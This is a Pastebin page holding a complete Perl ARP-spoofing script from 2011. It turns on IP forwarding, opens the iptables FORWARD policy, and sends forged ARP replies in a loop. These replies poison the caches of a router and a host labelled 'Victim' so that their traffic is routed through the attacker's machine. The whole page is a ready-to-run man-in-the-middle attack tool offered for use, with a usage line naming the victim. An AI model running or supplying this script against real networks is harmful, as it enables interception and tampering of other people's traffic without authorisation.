Guest User

Perl ARP-Spoofer v0.2

a guest
Jun 14th, 2011
420
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.35 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # Author: localh0t
  4. # Date: 04/01/2011
  5. # Follow: @mattdch
  6.  
  7. # Net::ARP & Net::Ping required
  8. use Net::ARP;
  9. use Net::Ping;
  10.  
  11. # Root required
  12.  
  13. if ($< != 0)
  14. {
  15.     print "\n[!] Run it as root\n\n";
  16.     exit(0);
  17. }
  18.  
  19. # Help
  20.  
  21. if(!$ARGV[2])
  22.     {
  23.          print "\n#####################################";
  24.          print "\n# Perl ARP-Spoofer v0.2 by localh0t #";
  25.              print "\n#####################################";
  26.          print "\n\nUse: perl $0 [INTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
  27.              exit(0);
  28.     }
  29.  
  30. # End function
  31.  
  32. sub finaliza
  33.     {
  34.         print "\n\n[!] Restoring remote hosts ARP cache\n";
  35.         # 2 packets per host to ensure the restoration
  36.         print "\n[+] $host1 is-at $mac1 (to $host2)";
  37.         Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
  38.         Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
  39.         print "\n[+] $host2 is-at $mac2 (to $host1)";
  40.         Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
  41.         Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
  42.  
  43.         print "\n\n[!] Disabling forwarding...";
  44.  
  45.         open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
  46.         print FORWD "0";
  47.         close(FORWD);
  48.  
  49.         system("iptables -P FORWARD DROP");
  50.  
  51.         print "\n[!] Exiting...\n\n";
  52.         exit(0);
  53.     }
  54.  
  55. ($dev, $host1, $host2) = @ARGV;
  56.  
  57. # Main
  58.  
  59. print "\n[+] Perl ARP-Spoofer v0.2 starting [+]\n";
  60.  
  61. $lmac = Net::ARP::get_mac($dev);
  62.  
  63. print "\n[!] Local MAC : $lmac";
  64.  
  65. my $ping = Net::Ping->new('icmp');
  66.    $ping->ping($host1, 2);
  67.    $ping->ping($host2, 2);
  68.  
  69. $mac1 = Net::ARP::arp_lookup($dev,$host1);
  70. $mac2 = Net::ARP::arp_lookup($dev,$host2);
  71.  
  72. print "\n[!] MAC Host 1: $mac1";
  73. print "\n[!] MAC Host 2: $mac2";
  74.  
  75. print "\n\n[!] Enabling forwarding...";
  76.  
  77. open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error opening ip_forward";
  78. print FORWD "1";
  79. close(FORWD);
  80.  
  81. system("iptables -P FORWARD ACCEPT");
  82.  
  83. print "\n\n[!] Starting ARP-Spoofing between $host1 & $host2, Ctrl-C to end...\n";
  84.  
  85. # (While not Crtl-C)
  86.  
  87. while(1)
  88. {
  89.     $SIG{INT} = \&finaliza;
  90.     sleep(1);
  91.     print "\n[+] $host1 is-at $lmac (to $host2)";
  92.     Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
  93.     print "\n[+] $host2 is-at $lmac (to $host1)";
  94.     Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');
  95. }
  96.  
  97. __END__
Advertisement
Add Comment
Please, Sign In to add comment